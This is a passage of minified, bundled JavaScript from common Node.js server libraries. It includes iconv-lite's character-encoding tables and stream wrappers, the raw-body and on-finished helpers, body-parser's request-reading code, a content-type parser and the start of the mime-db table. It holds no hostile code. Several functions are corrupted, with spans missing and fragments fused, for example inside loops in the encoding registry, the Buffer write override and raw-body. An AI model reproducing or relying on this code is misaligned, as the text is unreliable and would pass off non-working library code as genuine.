{26048}\u{21187}\u71A3\u7E8E\u9D50\u4E1A\u4E04\u3577\u5B0D\u6CB2\u5367\u36AC\u39DC\u537D\u36A5\u{24618}\u589A\u{24B6E}\u822D\u544B\u57AA\u{25A95}\u{20979}"],["9ec5","\u3A52\u{22465}\u7374\u{29EAC}\u4D09\u9BED\u{23CFE}\u{29F30}\u4C5B\u{24FA9}\u{2959E}\u{29FDE}\u845C\u{23DB6}\u{272B2}\u{267B3}\u{23720}\u632E\u7D25\u{23EF7}\u{23E2C}\u3A2A\u9008\u52CC\u3E74\u367A\u45E9\u{2048E}\u7640\u5AF0\u{20EB6}\u787A\u{27F2E}\u58A7\u40BF\u567C\u9B8B\u5D74\u7654\u{2A434}\u9E85\u4CE1\u75F9\u37FB\u6119\u{230DA}\u{243F2}"],["9ef5","\u565D\u{212A9}\u57A7\u{24963}\u{29E06}\u5234\u{270AE}\u35AD\u6C4A\u9D7C"],["9f40","\u7C56\u9B39\u57DE\u{2176C}\u5C53\u64D3\u{294D0}\u{26335}\u{27164}\u86AD\u{20D28}\u{26D22}\u{24AE2}\u{20D71}"],["9f4f","\u51FE\u{21F0F}\u5D8E\u9703\u{21DD1}\u9E81\u904C\u7B1F\u9B02\u5CD1\u7BA3\u6268\u6335\u9AFF\u7BCF\u9B2A\u7C7E\u9B2E\u7C42\u7C86\u9C15\u7BFC\u9B09\u9F17\u9C1B\u{2493E}\u9F5A\u5573\u5BC3\u4FFD\u9E98\u4FF2\u5260\u3E06\u52D1\u5767\u5056\u59B7\u5E12\u97C8\u9DAB\u8F5C\u5469\u97B4\u9940\u97BA\u532C\u6130"],["9fa1","\u692C\u53DA\u9C0A\u9D02\u4C3B\u9641\u6980\u50A6\u7546\u{2176D}\u99DA\u5273"],["9fae","\u9159\u9681\u915C"],["9fb2","\u9151\u{28E97}\u637F\u{26D23}\u6ACA\u5611\u918E\u757A\u6285\u{203FC}\u734F\u7C70\u{25C21}\u{23CFD}"],["9fc1","\u{24919}\u76D6\u9B9D\u4E2A\u{20CD4}\u83BE\u8842"],["9fc9","\u5C4A\u69C0\u50ED\u577A\u521F\u5DF5\u4ECE\u6C31\u{201F2}\u4F39\u549C\u54DA\u529A\u8D82\u35FE\u5F0C\u35F3"],["9fdb","\u6B52\u917C\u9FA5\u9B97\u982E\u98B4\u9ABA\u9EA8\u9E84\u717A\u7B14"],["9fe7","\u6BFA\u8818\u7F78"],["9feb","\u5620\u{2A64A}\u8E77\u9F53"],["9ff0","\u8DD4\u8E4F\u9E1C\u8E01\u6282\u{2837D}\u8E28\u8E75\u7AD3\u{24A77}\u7A3E\u78D8\u6CEA\u8A67\u7607"],["a040","\u{28A5A}\u9F26\u6CCE\u87D6\u75C3\u{2A2B2}\u7853\u{2F840}\u8D0C\u72E2\u7371\u8B2D\u7302\u74F1\u8CEB\u{24ABB}\u862F\u5FBA\u88A0\u44B7"],["a055","\u{2183B}\u{26E05}"],["a058","\u8A7E\u{2251B}"],["a05b","\u60FD\u7667\u9AD7\u9D44\u936E\u9B8F\u87F5"],["a063","\u880F\u8CF7\u732C\u9721\u9BB0\u35D6\u72B2\u4C07\u7C51\u994A\u{26159}\u6159\u4C04\u9E96\u617D"],["a073","\u575F\u616F\u62A6\u6239\u62CE\u3A5C\u61E2\u53AA\u{233F5}\u6364\u6802\u35D2"],["a0a1","\u5D57\u{28BC2}\u8FDA\u{28E39}"],["a0a6","\u50D9\u{21D46}\u7906\u5332\u9638\u{20F3B}\u4065"],["a0ae","\u77FE"],["a0b0","\u7CC2\u{25F1A}\u7CDA\u7A2D\u8066\u8063\u7D4D\u7505\u74F2\u8994\u821A\u670C\u8062\u{27486}\u805B\u74F0\u8103\u7724\u8989\u{267CC}\u7553\u{26ED1}\u87A9\u87CE\u81C8\u878C\u8A49\u8CAD\u8B43\u772B\u74F8\u84DA\u3635\u69B2\u8DA6"],["a0d4","\u89A9\u7468\u6DB9\u87C1\u{24011}\u74E7\u3DDB\u7176\u60A4\u619C\u3CD1\u7162\u6077"],["a0e2","\u7F71\u{28B2D}\u7250\u60E9\u4B7E\u5220\u3C18\u{23CC7}\u{25ED7}\u{27656}\u{25531}\u{21944}\u{212FE}\u{29903}\u{26DDC}\u{270AD}\u5CC1\u{261AD}\u{28A0F}\u{23677}\u{200EE}\u{26846}\u{24F0E}\u4562\u5B1F\u{2634C}\u9F50\u9EA6\u{2626B}"],["a3c0","\u2400",31,"\u2421"],["c6a1","\u2460",9,"\u2474",9,"\u2170",9,"\u4E36\u4E3F\u4E85\u4EA0\u5182\u5196\u51AB\u52F9\u5338\u5369\u53B6\u590A\u5B80\u5DDB\u2F33\u5E7F\u5EF4\u5F50\u5F61\u6534\u65E0\u7592\u7676\u8FB5\u96B6\xA8\u02C6\u30FD\u30FE\u309D\u309E\u3003\u4EDD\u3005\u3006\u3007\u30FC\uFF3B\uFF3D\u273D\u3041",23],["c740","\u3059",58,"\u30A1\u30A2\u30A3\u30A4"],["c7a1","\u30A5",81,"\u0410",5,"\u0401\u0416",4],["c840","\u041B",26,"\u0451\u0436",25,"\u21E7\u21B8\u21B9\u31CF\u{200CC}\u4E5A\u{2008A}\u5202\u4491"],["c8a1","\u9FB0\u5188\u9FB1\u{27607}"],["c8cd","\uFFE2\uFFE4\uFF07\uFF02\u3231\u2116\u2121\u309B\u309C\u2E80\u2E84\u2E86\u2E87\u2E88\u2E8A\u2E8C\u2E8D\u2E95\u2E9C\u2E9D\u2EA5\u2EA7\u2EAA\u2EAC\u2EAE\u2EB6\u2EBC\u2EBE\u2EC6\u2ECA\u2ECC\u2ECD\u2ECF\u2ED6\u2ED7\u2EDE\u2EE3"],["c8f5","\u0283\u0250\u025B\u0254\u0275\u0153\xF8\u014B\u028A\u026A"],["f9fe","\uFFED"],["fa40","\u{20547}\u92DB\u{205DF}\u{23FC5}\u854C\u42B5\u73EF\u51B5\u3649\u{24942}\u{289E4}\u9344\u{219DB}\u82EE\u{23CC8}\u783C\u6744\u62DF\u{24933}\u{289AA}\u{202A0}\u{26BB3}\u{21305}\u4FAB\u{224ED}\u5008\u{26D29}\u{27A84}\u{23600}\u{24AB1}\u{22513}\u5029\u{2037E}\u5FA4\u{20380}\u{20347}\u6EDB\u{2041F}\u507D\u5101\u347A\u510E\u986C\u3743\u8416\u{249A4}\u{20487}\u5160\u{233B4}\u516A\u{20BFF}\u{220FC}\u{202E5}\u{22530}\u{2058E}\u{23233}\u{21983}\u5B82\u877D\u{205B3}\u{23C99}\u51B2\u51B8"],["faa1","\u9D34\u51C9\u51CF\u51D1\u3CDC\u51D3\u{24AA6}\u51B3\u51E2\u5342\u51ED\u83CD\u693E\u{2372D}\u5F7B\u520B\u5226\u523C\u52B5\u5257\u5294\u52B9\u52C5\u7C15\u8542\u52E0\u860D\u{26B13}\u5305\u{28ADE}\u5549\u6ED9\u{23F80}\u{20954}\u{23FEC}\u5333\u5344\u{20BE2}\u6CCB\u{21726}\u681B\u73D5\u604A\u3EAA\u38CC\u{216E8}\u71DD\u44A2\u536D\u5374\u{286AB}\u537E\u537F\u{21596}\u{21613}\u77E6\u5393\u{28A9B}\u53A0\u53AB\u53AE\u73A7\u{25772}\u3F59\u739C\u53C1\u53C5\u6C49\u4E49\u57FE\u53D9\u3AAB\u{20B8F}\u53E0\u{23FEB}\u{22DA3}\u53F6\u{20C77}\u5413\u7079\u552B\u6657\u6D5B\u546D\u{26B53}\u{20D74}\u555D\u548F\u54A4\u47A6\u{2170D}\u{20EDD}\u3DB4\u{20D4D}"],["fb40","\u{289BC}\u{22698}\u5547\u4CED\u542F\u7417\u5586\u55A9\u5605\u{218D7}\u{2403A}\u4552\u{24435}\u66B3\u{210B4}\u5637\u66CD\u{2328A}\u66A4\u66AD\u564D\u564F\u78F1\u56F1\u9787\u53FE\u5700\u56EF\u56ED\u{28B66}\u3623\u{2124F}\u5746\u{241A5}\u6C6E\u708B\u5742\u36B1\u{26C7E}\u57E6\u{21416}\u5803\u{21454}\u{24363}\u5826\u{24BF5}\u585C\u58AA\u3561\u58E0\u58DC\u{2123C}\u58FB\u5BFF\u5743\u{2A150}\u{24278}\u93D3\u35A1\u591F\u68A6\u36C3\u6E59"],["fba1","\u{2163E}\u5A24\u5553\u{21692}\u8505\u59C9\u{20D4E}\u{26C81}\u{26D2A}\u{217DC}\u59D9\u{217FB}\u{217B2}\u{26DA6}\u6D71\u{21828}\u{216D5}\u59F9\u{26E45}\u5AAB\u5A63\u36E6\u{249A9}\u5A77\u3708\u5A96\u7465\u5AD3\u{26FA1}\u{22554}\u3D85\u{21911}\u3732\u{216B8}\u5E83\u52D0\u5B76\u6588\u5B7C\u{27A0E}\u4004\u485D\u{20204}\u5BD5\u6160\u{21A34}\u{259CC}\u{205A5}\u5BF3\u5B9D\u4D10\u5C05\u{21B44}\u5C13\u73CE\u5C14\u{21CA5}\u{26B28}\u5C49\u48DD\u5C85\u5CE9\u5CEF\u5D8B\u{21DF9}\u{21E37}\u5D10\u5D18\u5D46\u{21EA4}\u5CBA\u5DD7\u82FC\u382D\u{24901}\u{22049}\u{22173}\u8287\u3836\u3BC2\u5E2E\u6A8A\u5E75\u5E7A\u{244BC}\u{20CD3}\u53A6\u4EB7\u5ED0\u53A8\u{21771}\u5E09\u5EF4\u{28482}"],["fc40","\u5EF9\u5EFB\u38A0\u5EFC\u683E\u941B\u5F0D\u{201C1}\u{2F894}\u3ADE\u48AE\u{2133A}\u5F3A\u{26888}\u{223D0}\u5F58\u{22471}\u5F63\u97BD\u{26E6E}\u5F72\u9340\u{28A36}\u5FA7\u5DB6\u3D5F\u{25250}\u{21F6A}\u{270F8}\u{22668}\u91D6\u{2029E}\u{28A29}\u6031\u6685\u{21877}\u3963\u3DC7\u3639\u5790\u{227B4}\u7971\u3E40\u609E\u60A4\u60B3\u{24982}\u{2498F}\u{27A53}\u74A4\u50E1\u5AA0\u6164\u8424\u6142\u{2F8A6}\u{26ED2}\u6181\u51F4\u{20656}\u6187\u5BAA\u{23FB7}"],["fca1","\u{2285F}\u61D3\u{28B9D}\u{2995D}\u61D0\u3932\u{22980}\u{228C1}\u6023\u615C\u651E\u638B\u{20118}\u62C5\u{21770}\u62D5\u{22E0D}\u636C\u{249DF}\u3A17\u6438\u63F8\u{2138E}\u{217FC}\u6490\u6F8A\u{22E36}\u9814\u{2408C}\u{2571D}\u64E1\u64E5\u947B\u3A66\u643A\u3A57\u654D\u6F16\u{24A28}\u{24A23}\u6585\u656D\u655F\u{2307E}\u65B5\u{24940}\u4B37\u65D1\u40D8\u{21829}\u65E0\u65E3\u5FDF\u{23400}\u6618\u{231F7}\u{231F8}\u6644\u{231A4}\u{231A5}\u664B\u{20E75}\u6667\u{251E6}\u6673\u6674\u{21E3D}\u{23231}\u{285F4}\u{231C8}\u{25313}\u77C5\u{228F7}\u99A4\u6702\u{2439C}\u{24A21}\u3B2B\u69FA\u{237C2}\u675E\u6767\u6762\u{241CD}\u{290ED}\u67D7\u44E9\u6822\u6E50\u923C\u6801\u{233E6}\u{26DA0}\u685D"],["fd40","\u{2346F}\u69E1\u6A0B\u{28ADF}\u6973\u68C3\u{235CD}\u6901\u6900\u3D32\u3A01\u{2363C}\u3B80\u67AC\u6961\u{28A4A}\u42FC\u6936\u6998\u3BA1\u{203C9}\u8363\u5090\u69F9\u{23659}\u{2212A}\u6A45\u{23703}\u6A9D\u3BF3\u67B1\u6AC8\u{2919C}\u3C0D\u6B1D\u{20923}\u60DE\u6B35\u6B74\u{227CD}\u6EB5\u{23ADB}\u{203B5}\u{21958}\u3740\u5421\u{23B5A}\u6BE1\u{23EFC}\u6BDC\u6C37\u{2248B}\u{248F1}\u{26B51}\u6C5A\u8226\u6C79\u{23DBC}\u44C5\u{23DBD}\u{241A4}\u{2490C}\u{24900}"],["fda1","\u{23CC9}\u36E5\u3CEB\u{20D32}\u9B83\u{231F9}\u{22491}\u7F8F\u6837\u{26D25}\u{26DA1}\u{26DEB}\u6D96\u6D5C\u6E7C\u6F04\u{2497F}\u{24085}\u{26E72}\u8533\u{26F74}\u51C7\u6C9C\u6E1D\u842E\u{28B21}\u6E2F\u{23E2F}\u7453\u{23F82}\u79CC\u6E4F\u5A91\u{2304B}\u6FF8\u370D\u6F9D\u{23E30}\u6EFA\u{21497}\u{2403D}\u4555\u93F0\u6F44\u6F5C\u3D4E\u6F74\u{29170}\u3D3B\u6F9F\u{24144}\u6FD3\u{24091}\u{24155}\u{24039}\u{23FF0}\u{23FB4}\u{2413F}\u51DF\u{24156}\u{24157}\u{24140}\u{261DD}\u704B\u707E\u70A7\u7081\u70CC\u70D5\u70D6\u70DF\u4104\u3DE8\u71B4\u7196\u{24277}\u712B\u7145\u5A88\u714A\u716E\u5C9C\u{24365}\u714F\u9362\u{242C1}\u712C\u{2445A}\u{24A27}\u{24A22}\u71BA\u{28BE8}\u70BD\u720E"],["fe40","\u9442\u7215\u5911\u9443\u7224\u9341\u{25605}\u722E\u7240\u{24974}\u68BD\u7255\u7257\u3E55\u{23044}\u680D\u6F3D\u7282\u732A\u732B\u{24823}\u{2882B}\u48ED\u{28804}\u7328\u732E\u73CF\u73AA\u{20C3A}\u{26A2E}\u73C9\u7449\u{241E2}\u{216E7}\u{24A24}\u6623\u36C5\u{249B7}\u{2498D}\u{249FB}\u73F7\u7415\u6903\u{24A26}\u7439\u{205C3}\u3ED7\u745C\u{228AD}\u7460\u{28EB2}\u7447\u73E4\u7476\u83B9\u746C\u3730\u7474\u93F1\u6A2C\u7482\u4953\u{24A8C}"],["fea1","\u{2415F}\u{24A79}\u{28B8F}\u5B46\u{28C03}\u{2189E}\u74C8\u{21988}\u750E\u74E9\u751E\u{28ED9}\u{21A4B}\u5BD7\u{28EAC}\u9385\u754D\u754A\u7567\u756E\u{24F82}\u3F04\u{24D13}\u758E\u745D\u759E\u75B4\u7602\u762C\u7651\u764F\u766F\u7676\u{263F5}\u7690\u81EF\u37F8\u{26911}\u{2690E}\u76A1\u76A5\u76B7\u76CC\u{26F9F}\u8462\u{2509D}\u{2517D}\u{21E1C}\u771E\u7726\u7740\u64AF\u{25220}\u7758\u{232AC}\u77AF\u{28964}\u{28968}\u{216C1}\u77F4\u7809\u{21376}\u{24A12}\u68CA\u78AF\u78C7\u78D3\u96A5\u792E\u{255E0}\u78D7\u7934\u78B1\u{2760C}\u8FB8\u8884\u{28B2B}\u{26083}\u{2261C}\u7986\u8900\u6902\u7980\u{25857}\u799D\u{27B39}\u793C\u79A9\u6E2A\u{27126}\u3EA8\u79C6\u{2910D}\u79D4"]]});var mv=V((aV,fv)=>{"use strict";fv.exports={shiftjis:{type:"_dbcs",table:function(){return cv()},encodeAdd:{"\xA5":92,"\u203E":126},encodeSkipVals:[{from:60736,to:63808}]},csshiftjis:"shiftjis",mskanji:"shiftjis",sjis:"shiftjis",windows31j:"shiftjis",ms31j:"shiftjis",xsjis:"shiftjis",windows932:"shiftjis",ms932:"shiftjis",932:"shiftjis",cp932:"shiftjis",eucjp:{type:"_dbcs",table:function(){return uv()},encodeAdd:{"\xA5":92,"\u203E":126}},gb2312:"cp936",gb231280:"cp936",gb23121980:"cp936",csgb2312:"cp936",csiso58gb231280:"cp936",euccn:"cp936",windows936:"cp936",ms936:"cp936",936:"cp936",cp936:{type:"_dbcs",table:function(){return rc()}},gbk:{type:"_dbcs",table:function(){return rc().concat(Pd())}},xgbk:"gbk",isoir58:"gbk",gb18030:{type:"_dbcs",table:function(){return rc().concat(Pd())},gb18030:function(){return lv()},encodeSkipVals:[128],encodeAdd:{"\u20AC":41699}},chinese:"gb18030",windows949:"cp949",ms949:"cp949",949:"cp949",cp949:{type:"_dbcs",table:function(){return dv()}},cseuckr:"cp949",csksc56011987:"cp949",euckr:"cp949",isoir149:"cp949",korean:"cp949",ksc56011987:"cp949",ksc56011989:"cp949",ksc5601:"cp949",windows950:"cp950",ms950:"cp950",950:"cp950",cp950:{type:"_dbcs",table:function(){return Od()}},big5:"big5hkscs",big5hkscs:{type:"_dbcs",table:function(){return Od().concat(pv())},encodeSkipVals:[41676]},cnbig5:"big5hkscs",csbig5:"big5hkscs",xxbig5:"big5hkscs"}});var gv=V((vv,ts)=>{"use strict";var hv=[Gh(),Xh(),Yh(),ev(),rv(),nv(),ov(),mv()];for(ac=0;ac{"use strict";var yv=require("buffer").Buffer,sc=require("stream").Transform;_v.exports=function(t){t.encodeStream=function(r,n){return new Qa(t.getEncoder(r,n),n)},t.decodeStream=function(r,n){return new wa(t.getDecoder(r,n),n)},t.supportsStreams=!0,t.IconvLiteEncoderStream=Qa,t.IconvLiteDecoderStream=wa,t._collect=wa.prototype.collect};function Qa(t,e){this.conv=t,e=e||{},e.decodeStrings=!1,sc.call(this,e)}Qa.prototype=Object.create(sc.prototype,{constructor:{value:Qa}});Qa.prototype._transform=function(t,e,r){if(typeof t!="string")return r(new Error("Iconv encoding stream needs strings as its input."));try{var n=this.conv.write(t);n&&n.length&&this.push(n),r()}catch(a){r(a)}};Qa.prototype._flush=function(t){try{var e=this.conv.end();e&&e.length&&this.push(e),t()}catch(r){t(r)}};Qa.prototype.collect=function(t){var e=[];return this.on("error",t),this.on("data",function(r){e.push(r)}),this.on("end",function(){t(null,yv.concat(e))}),this};function wa(t,e){this.conv=t,e=e||{},e.encoding=this.encoding="utf8",sc.call(this,e)}wa.prototype=Object.create(sc.prototype,{constructor:{value:wa}});wa.prototype._transform=function(t,e,r){if(!yv.isBuffer(t))return r(new Error("Iconv decoding stream needs buffers as its input."));try{var n=this.conv.write(t);n&&n.length&&this.push(n,this.encoding),r()}catch(a){r(a)}};wa.prototype._flush=function(t){try{var e=this.conv.end();e&&e.length&&this.push(e,this.encoding),t()}catch(r){t(r)}};wa.prototype.collect=function(t){var e="";return this.on("error",t),this.on("data",function(r){e+=r}),this.on("end",function(){t(null,e)}),this}});var wv=V((sV,xv)=>{"use strict";var wt=require("buffer").Buffer;xv.exports=function(t){var e=void 0;t.supportsNodeEncodingsExtension=!(wt.from||new wt(0)instanceof Uint8Array),t.extendNodeEncodings=function(){if(!e){if(e={},!t.supportsNodeEncodingsExtension){console.error("ACTION NEEDED: require('iconv-lite').extendNodeEncodings() is not supported in your version of Node"),console.error("See more info at https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility");return}var n={hex:!0,utf8:!0,"utf-8":!0,ascii:!0,binary:!0,base64:!0,ucs2:!0,"ucs-2":!0,utf16le:!0,"utf-16le":!0};wt.isNativeEncoding=function(i){return i&&n[i.toLowerCase()]};var a=require("buffer").SlowBuffer;if(e.SlowBufferToString=a.prototype.toString,a.prototype.toString=function(i,o,c){return i=String(i||"utf8").toLowerCase(),wt.isNativeEncoding(i)?e.SlowBufferToString.call(this,i,o,c):(typeof o>"u"&&(o=0),typeof c>"u"&&(c=this.length),t.decode(this.slice(o,c),i))},e.SlowBufferWrite=a.prototype.write,a.prototype.write=function(i,o,c,u){if(isFinite(o))isFinite(c)||(u=c,c=void 0);else{var l=u;u=o,o=c,c=l}o=+o||0;var d=this.length-o;if(c?(c=+c,c>d&&(c=d)):c=d,u=String(u||"utf8").toLowerCase(),wt.isNativeEncoding(u))return e.SlowBufferWrite.call(this,i,o,c,u);if(i.length>0&&(c<0||o<0))throw new RangeError("attempt to write beyond buffer bounds");var f=t.encode(i,u);return f.length"u"&&(o=0),typeof c>"u"&&(c=this.length),t.decode(this.slice(o,c),i))},e.BufferWrite=wt.prototype.write,wt.prototype.write=function(i,o,c,u){var l=o,d=c,f=u;if(isFinite(o))isFinite(c)||(u=c,c=void 0);else{var m=u;u=o,o=c,c=m}if(u=String(u||"utf8").toLowerCase(),wt.isNativeEncoding(u))return e.BufferWrite.call(this,i,l,d,f);o=+o||0;var g=this.length-o;if(c?(c=+c,c>g&&(c=g)):c=g,i.length>0&&(c<0||o<0))throw new RangeError("attempt to write beyond buffer bounds");var b=t.encode(i,u);return b.length{"use strict";var Ev=Ja().Buffer,Tv=Vh(),Ye=kv.exports;Ye.encodings=null;Ye.defaultCharUnicode="\uFFFD";Ye.defaultCharSingleByte="?";Ye.encode=function(e,r,n){e=""+(e||"");var a=Ye.getEncoder(r,n),s=a.write(e),i=a.end();return i&&i.length>0?Ev.concat([s,i]):s};Ye.decode=function(e,r,n){typeof e=="string"&&(Ye.skipDecodeWarning||(console.error("Iconv-lite warning: decode()-ing strings is deprecated. Refer to https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding"),Ye.skipDecodeWarning=!0),e=Ev.from(""+(e||""),"binary"));var a=Ye.getDecoder(r,n),s=a.write(e),i=a.end();return i?s+i:s};Ye.encodingExists=function(e){try{return Ye.getCodec(e),!0}catch{return!1}};Ye.toEncoding=Ye.encode;Ye.fromEncoding=Ye.decode;Ye._codecDataCache={};Ye.getCodec=function(e){Ye.encodings||(Ye.encodings=gv());for(var r=Ye._canonicalizeEncoding(e),n={};;){var a=Ye._codecDataCache[r];if(a)return a;var s=Ye.encodings[r];switch(typeof s){case"string":r=s;break;case"object":for(var i in s)n[i]=s[i];n.encodingName||(n.encodingName=r),r=s.type;break;case"function":return n.encodingName||(n.encodingName=r),a=new s(n,Ye),Ye._codecDataCache[n.encodingName]=a,a;default:throw new Error("Encoding not recognized: '"+e+"' (searched as: '"+r+"')")}}};Ye._canonicalizeEncoding=function(t){return(""+t).toLowerCase().replace(/:\d{4}$|[^0-9a-z]/g,"")};Ye.getEncoder=function(e,r){var n=Ye.getCodec(e),a=new n.encoder(r,n);return n.bomAware&&r&&r.addBOM&&(a=new Tv.PrependBOM(a,r)),a};Ye.getDecoder=function(e,r){var n=Ye.getCodec(e),a=new n.decoder(r,n);return n.bomAware&&!(r&&r.stripBOM===!1)&&(a=new Tv.StripBOM(a,r)),a};var Sv=typeof process<"u"&&process.versions&&process.versions.node;Sv&&(Cd=Sv.split(".").map(Number),(Cd[0]>0||Cd[1]>=10)&&bv()(Ye),wv()(Ye));var Cd});var ic=V((oV,Rv)=>{"use strict";Rv.exports=oP;function iP(t){for(var e=t.listeners("data"),r=0;r{"use strict";var $v=hP(),cP=Gn(),en=Ka(),uP=Id(),lP=ic();Ov.exports=fP;var dP=/^Encoding not recognized: /;function pP(t){if(!t)return null;try{return uP.getDecoder(t)}catch(e){throw dP.test(e.message)?en(415,"specified encoding unsupported",{encoding:t,type:"encoding.unsupported"}):e}}function fP(t,e,r){var n=r,a=e||{};if(t===void 0)throw new TypeError("argument stream is required");if(typeof t!="object"||t===null||typeof t.on!="function")throw new TypeError("argument stream must be a stream");if((e===!0||typeof e=="string")&&(a={encoding:e}),typeof e=="function"&&(n=e,a={}),n!==void 0&&typeof n!="function")throw new TypeError("argument callback must be a function");if(!n&&!global.Promise)throw new TypeError("argument callback is required");var s=a.encoding!==!0?a.encoding:"utf-8",i=cP.parse(a.limit),o=a.length!=null&&!isNaN(a.length)?parseInt(a.length,10):null;return n?Pv(t,s,o,i,vP(n)):new Promise(function(u,l){Pv(t,s,o,i,function(f,m){if(f)return l(f);u(m)})})}function mP(t){lP(t),typeof t.pause=="function"&&t.pause()}function Pv(t,e,r,n,a){var s=!1,i=!0;if(n!==null&&r!==null&&r>n)return d(en(413,"request entity too large",{expected:r,length:r,limit:n,type:"entity.too.large"}));var o=t._readableState;if(t._decoder||o&&(o.encoding||o.decoder))return d(en(500,"stream encoding should not be set",{type:"stream.encoding.set"}));if(typeof t.readable<"u"&&!t.readable)return d(en(500,"stream is not readable",{type:"stream.not.readable"}));var c=0,u;try{u=pP(e)}catch(p){return d(p)}var l=u?"":[];t.on("aborted",f),t.on("close",b),t.on("data",m),t.on("end",g),t.on("error",g),i=!1;function d(){for(var p=new Array(arguments.length),h=0;hn?d(en(413,"request entity too large",{limit:n,received:c,type:"entity.too.large"})):u?l+=u.write(p):l.push(p))}function g(p){if(!s){if(p)return d(p);if(r!==null&&c!==r)d(en(400,"request size did not match content length",{expected:r,length:r,received:c,type:"request.size.invalid"}));else{var h=u?l+(u.end()||""):Buffer.concat(l);d(null,h)}}}function b(){l=null,t.removeListener("aborted",f),t.removeListener("data",m),t.removeListener("end",g),t.removeListener("error",g),t.removeListener("close",b)}}function hP(){try{return require("async_hooks")}catch{return{}}}function vP(t){var e;return $v.AsyncResource&&(e=new $v.AsyncResource(t.name||"bound-anonymous-fn")),!e||!e.runInAsyncScope?t:e.runInAsyncScope.bind(e,t,null)}});var Av=V((uV,Iv)=>{"use strict";Iv.exports=gP;function gP(t,e){if(!Array.isArray(t))throw new TypeError("arg must be an array of [ee, events...] arrays");for(var r=[],n=0;n{"use strict";Ad.exports=bP;Ad.exports.isFinished=Mv;var Nv=TP(),jv=Av(),_P=typeof setImmediate=="function"?setImmediate:function(t){process.nextTick(t.bind.apply(t,arguments))};function bP(t,e){return Mv(t)!==!1?(_P(e,null,t),t):(wP(t,kP(e)),t)}function Mv(t){var e=t.socket;if(typeof t.finished=="boolean")return!!(t.finished||e&&!e.writable);if(typeof t.complete=="boolean")return!!(t.upgrade||!e||!e.readable||t.complete&&!t.readable)}function xP(t,e){var r,n,a=!1;function s(o){r.cancel(),n.cancel(),a=!0,e(o)}r=n=jv([[t,"end","finish"]],s);function i(o){t.removeListener("socket",i),!a&&r===n&&(n=jv([[o,"error","close"]],s))}if(t.socket){i(t.socket);return}t.on("socket",i),t.socket===void 0&&EP(t,i)}function wP(t,e){var r=t.__onFinished;(!r||!r.queue)&&(r=t.__onFinished=SP(t),xP(t,r)),r.queue.push(e)}function SP(t){function e(r){if(t.__onFinished===e&&(t.__onFinished=null),!!e.queue){var n=e.queue;e.queue=null;for(var a=0;a{"use strict";var Sa=Ka(),RP=ad(),$P=Cv(),Dv=Id(),qv=$i(),PP=ic(),Lv=require("zlib");Fv.exports=OP;function OP(t,e,r,n,a,s){var i,o=s,c;t._body=!0;var u=o.encoding!==null?o.encoding:null,l=o.verify;try{c=CP(t,a,o.inflate),i=c.length,c.length=void 0}catch(d){return r(d)}if(o.length=i,o.encoding=l?null:u,o.encoding===null&&u!==null&&!Dv.encodingExists(u))return r(Sa(415,'unsupported charset "'+u.toUpperCase()+'"',{charset:u.toLowerCase(),type:"charset.unsupported"}));a("read body"),$P(c,o,function(d,f){if(d){var m;d.type==="encoding.unsupported"?m=Sa(415,'unsupported charset "'+u.toUpperCase()+'"',{charset:u.toLowerCase(),type:"charset.unsupported"}):m=Sa(400,d),c!==t&&(PP(t),RP(c,!0)),IP(t,function(){r(Sa(400,m))});return}if(l)try{a("verify body"),l(t,e,f,u)}catch(b){r(Sa(403,b,{body:f,type:b.type||"entity.verify.failed"}));return}var g=f;try{a("parse body"),g=typeof f!="string"&&u!==null?Dv.decode(f,u):f,t.body=n(g)}catch(b){r(Sa(400,b,{body:g,type:b.type||"entity.parse.failed"}));return}r()})}function CP(t,e,r){var n=(t.headers["content-encoding"]||"identity").toLowerCase(),a=t.headers["content-length"],s;if(e('content-encoding "%s"',n),r===!1&&n!=="identity")throw Sa(415,"content encoding unsupported",{encoding:n,type:"encoding.unsupported"});switch(n){case"deflate":s=Lv.createInflate(),e("inflate body"),t.pipe(s);break;case"gzip":s=Lv.createGunzip(),e("gunzip body"),t.pipe(s);break;case"identity":s=t,s.length=a;break;default:throw Sa(415,'unsupported content encoding "'+n+'"',{encoding:n,type:"encoding.unsupported"})}return s}function IP(t,e){qv.isFinished(t)?e(null):(qv(t,e),t.resume())}});var Bv=V(Nd=>{var zv=/; *([!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+) *= *("(?:[ !\u0023-\u005b\u005d-\u007e\u0080-\u00ff]|\\[\u0020-\u007e])*"|[!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+) */g,AP=/^[\u0020-\u007e\u0080-\u00ff]+$/,Hv=/^[!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+$/,NP=/\\([\u0000-\u007f])/g,jP=/([\\"])/g,MP=/^[A-Za-z0-9][A-Za-z0-9!#$&^_.-]{0,126}$/,Uv=/^[A-Za-z0-9][A-Za-z0-9!#$&^_-]{0,126}$/,DP=/^ *([A-Za-z0-9][A-Za-z0-9!#$&^_-]{0,126})\/([A-Za-z0-9][A-Za-z0-9!#$&^_.+-]{0,126}) *$/;Nd.format=qP;Nd.parse=LP;function qP(t){if(!t||typeof t!="object")throw new TypeError("argument obj is required");var e=t.parameters,r=t.subtype,n=t.suffix,a=t.type;if(!a||!Uv.test(a))throw new TypeError("invalid type");if(!r||!MP.test(r))throw new TypeError("invalid subtype");var s=a+"/"+r;if(n){if(!Uv.test(n))throw new TypeError("invalid suffix");s+="+"+n}if(e&&typeof e=="object")for(var i,o=Object.keys(e).sort(),c=0;c0&&!AP.test(e))throw new TypeError("invalid parameter value");return'"'+e.replace(jP,"\\$1")+'"'}function UP(t){var e=DP.exec(t.toLowerCase());if(!e)throw new TypeError("invalid media type");var r=e[1],n=e[2],a,s=n.lastIndexOf("+");s!==-1&&(a=n.substr(s+1),n=n.substr(0,s));var i={type:r,subtype:n,suffix:a};return i}});var Vv=V((fV,HP)=>{HP.exports={"application/1d-interleaved-parityfec":{source:"iana"},"application/3gpdash-qoe-report+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/3gpp-ims+xml":{source:"iana",compressible:!0},"application/3gpphal+json":{source:"iana",compressible:!0},"application/3gpphalforms+json":{source:"iana",compressible:!0},"application/a2l":{source:"iana"},"application/ace+cbor":{source:"iana"},"application/activemessage":{source:"iana"},"application/activity+json":{source:"iana",compressible:!0},"application/alto-costmap+json":{source:"iana",compressible:!0},"application/alto-costmapfilter+json":{source:"iana",compressible:!0},"application/alto-directory+json":{source:"iana",compressible:!0},"application/alto-endpointcost+json":{source:"iana",compressible:!0},"application/alto-endpointcostparams+json":{source:"iana",compressible:!0},"application/alto-endp